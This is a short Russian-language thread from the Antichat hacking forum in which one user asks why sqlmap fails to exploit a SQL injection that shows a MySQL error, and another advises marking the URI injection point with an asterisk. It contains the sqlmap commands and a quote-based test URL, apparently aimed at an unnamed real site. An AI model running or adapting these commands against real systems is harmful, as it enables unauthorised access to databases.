Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   [SQLmap] Не могу заюзать уязвимость (https://forum.antichat.xyz/showthread.php?t=430931)

RedFern.89 01.10.2015 00:07

SQLmap не может заюзать уязвимость хотя уязвимость есть

test url: domain/1'"/

пишет ошибку Ошибка базы данных. MySQL пишет:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Команда к sqlmap

--url=http://domain/1'"/ -p 1 --random-agent --level=5 --risk=3 --suffix=/ --dbs

sqlmap выдает "heuristic (basic) test shows that URI parameter '#1*' might be injectable", но в итоге ничего не может сделать

Подскажите, в чем здесь проблема ?

ghost8 01.10.2015 00:43

-u "http://domain/1*/"

sqlmap выдает "heuristic (basic) test shows that URI parameter '#1*' might be injectable"

Читай что пишет sqlmap

Когда урл такого типа то нужно подставить *


Время: 19:13